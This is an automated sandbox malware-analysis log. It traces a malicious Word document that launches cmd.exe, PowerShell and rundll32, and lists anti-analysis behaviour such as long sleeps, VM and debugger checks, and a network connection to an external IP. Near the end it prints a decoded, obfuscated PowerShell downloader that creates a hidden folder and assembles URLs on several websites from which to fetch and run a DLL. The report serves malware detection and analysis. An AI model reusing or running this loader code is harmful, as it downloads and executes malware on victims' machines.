Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Checks the free space of harddrives

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation

Contains functionality to enumerate / list files inside a directory

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 17_2_0030109C FindFirstFileW,

17_2_0030109C

Enumerates the file system

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: powershell.exe, 00000005.00000002.2083421281.0000000000274000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: rundll32.exe, 00000007.00000002.2085580023.000000000054D000.00000004.00000020.sdmp	Binary or memory string: PPTP00VMware_S

Queries a list of all running processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,

7_2_100011C0

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_1000C620

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_1000C620

Contains functionality to dynamically determine API calls

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

7_2_1000C620

Contains functionality to read the PEB

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_004BC4FF mov eax, dword ptr fs:[00000030h]		7_2_004BC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_0022C4FF mov eax, dword ptr fs:[00000030h]		8_2_0022C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001BC4FF mov eax, dword ptr fs:[00000030h]		9_2_001BC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001EC4FF mov eax, dword ptr fs:[00000030h]		10_2_001EC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_0020C4FF mov eax, dword ptr fs:[00000030h]		11_2_0020C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_0071C4FF mov eax, dword ptr fs:[00000030h]		12_2_0071C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0024C4FF mov eax, dword ptr fs:[00000030h]		13_2_0024C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_001EC4FF mov eax, dword ptr fs:[00000030h]		14_2_001EC4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0054C4FF mov eax, dword ptr fs:[00000030h]		15_2_0054C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_0039C4FF mov eax, dword ptr fs:[00000030h]		16_2_0039C4FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 17_2_0030C4FF mov eax, dword ptr fs:[00000030h]		17_2_0030C4FF

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10001B30 SetLastError,SetLastError,VirtualAlloc,GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError,

7_2_10001B30

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10007F07 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_10007F07

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 5.2.136.90 80

Encrypted powershell cmdline option found

Source: unknown	Process created: Base64 decoded $95XUcD = [TYpE]("{0}{2}{4}{3}{1}" -f'SYSTe','CTORy','M','RE','.io.dI') ; sET-ItEm ('V'+'ariABLe'+':FIU') ( [typE]("{1}{4}{0}{6}{5}{3}{2}" -f'M.nET.SeR','sYst','TMaNAGer','N','E','I','vIcEPo'));$ErrorActionPreference = ('Si'+('le'+'n')+('t'+'lyC')+('o'+'nt')+('i'+'nue'));$Hc6c6uy=$I76C + [char](64) + $T36S;$V06B=('I3'+'9H'); (gcI ("VA"+"riAB"+"l"+"E:95"+"XuCd") ).VaLUe::"cReaT`Ed`IR`E`CTORY"($HOME + (('{0}C3re'+'5c3{0}'+'Di'+'_p'+'3'+'c9'+'{0}')-f [CHAR]92));$D15B=(('G2'+'8')+'O'); $fiu::"se`c`UrITYpRoTO`cOL" = (('T'+'ls')+'12');$R32F=('G'+('16'+'Z'));$C7zi9uu = ('O'+('_'+'5Z'));$W_1D=('E'+('19'+'T'));$W7io0wg=$HOME+(('{0}'+('C'+'3re5')+'c3'+'{'+'0}Di_p3c'+'9{'+'0}')-F[Char]92)+$C7zi9uu+('.d'+'ll');$H36A=('R'+('6_'+'O'));$Gr6x_h_=((']a'+'nw[3'+':/')+'/'+('p'+'etaf')+('ilm'+'.co')+'m'+('/w'+'p')+('-a'+'dm'+'in'+'/4m/@]')+'a'+('n'+'w[3'+'://gi'+'vi')+('ng'+'tha'+'nksd')+'ai'+'l'+('y.c'+'om/qlE/VeF/'+'@]a'+'n')+('w'+'[3://w')+('ap'+'.')+'zh'+('ong'+'l')+'i'+('sc'+'.c'+'o'+'m/wp-inc')+('lu'+'des'+'/Qr'+'yC')+'B/'+'@'+(']'+'anw')+('[3'+'s:/'+'/f'+'n'+'jbq.com/wp-i')+('nc'+'lude'+'s/')+('r'+'lR/@'+']anw['+'3s'+'://sak')+('h'+'isuh'+'an')+'i'+('n'+'arije')+('evik'+'a.')+('c'+'om/')+'w'+('p'+'-i')+('nc'+'lud')+('es'+'/CvG')+('U'+'jvE/@]'+'anw[3:'+'/')+('/'+'z'+'ieflix')+('.'+'tele'+'sk'+'o'+'pstore.co'+'m')+'/c'+'gi'+('-'+'bin')+('/G'+'t3S/@')+']'+'an'+('w['+'3')+'s:'+('//somanap.co'+'m/wp'+'-ad'+'m')+('in'+'/')+'P/')."rePL`AcE"(((']a'+'nw')+'['+'3'),([array]('sd','sw
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $95XUcD = [TYpE]("{0}{2}{4}{3}{1}" -f'SYSTe','CTORy','M','RE','.io.dI') ; sET-ItEm ('V'+'ariABLe'+':FIU') ( [typE]("{1}{4}{0}{6}{5}{3}{2}" -f'M.nET.SeR','sYst','TMaNAGer','N','E','I','vIcEPo'));$ErrorActionPreference = ('Si'+('le'+'n')+('t'+'lyC')+('o'+'nt')+('i'+'nue'));$Hc6c6uy=$I76C + [char](64) + $T36S;$V06B=('I3'+'9H'); (gcI ("VA"+"riAB"+"l"+"E:95"+"XuCd") ).VaLUe::"cReaT`Ed`IR`E`CTORY"($HOME + (('{0}C3re'+'5c3{0}'+'Di'+'_p'+'3'+'c9'+'{0}')-f [CHAR]92));$D15B=(('G2'+'8')+'O'); $fiu::"se`c`UrITYpRoTO`cOL" = (('T'+'ls')+'12');$R32F=('G'+('16'+'Z'));$C7zi9uu = ('O'+('_'+'5Z'));$W_1D=('E'+('19'+'T'));$W7io0wg=$HOME+(('{0}'+('C'+'3re5')+'c3'+'{'+'0}Di_p3c'+'9{'+'0}')-F[Char]92)+$C7zi9uu+('.d'+'ll');$H36A=('R'+('6_'+'O'));$Gr6x_h_=((']a'+'nw[3'+':/')+'/'+('p'+'etaf')+('ilm'+'.co')+'m'+('/w'+'p')+('-a'+'dm'+'in'+'/4m/@]')+'a'+('n'+'w[3'+'://gi'+'vi')+('ng'+'tha'+'nksd')+'ai'+'l'+('y.c'+'om/qlE/VeF/'+'@]a'+'n')+('w'+'[3://w')+('ap'+'.')+'zh'+('ong'+'l')+'i'+('sc'+'.c'+'o'+'m/wp-inc')+('lu'+'des'+'/Qr'+'yC')+'B/'+'@'+(']'+'anw')+('[3'+'s:/'+'/f'+'n'+'jbq.com/wp-i')+('nc'+'lude'+'s/')+('r'+'lR/@'+']anw['+'3s'+'://sak')+('h'+'isuh'+'an')+'i'+('n'+'arije')+('evik'+'a.')+('c'+'om/')+'w'+('p'+'-i')+('nc'+'lud')+('es'+'/CvG')+('U'+'jvE/@]'+'anw[3:'+'/')+('/'+'z'+'ieflix')+('.'+'tele'+'sk'+'o'+'pstore.co'+'m')+'/c'+'gi'+('-'+'bin')+('/G'+'t3S/@')+']'+'an'+('w['+'3')+'s:'+('//somanap.co'+'m/wp'+'-ad'+'m')+('in'+'/')+'P/')."rePL`AcE"(((']a'+'nw')+'['+'3'),([array]('sd','sw			Jump to behavior

Creates a process in suspended mode (likely to inject code)

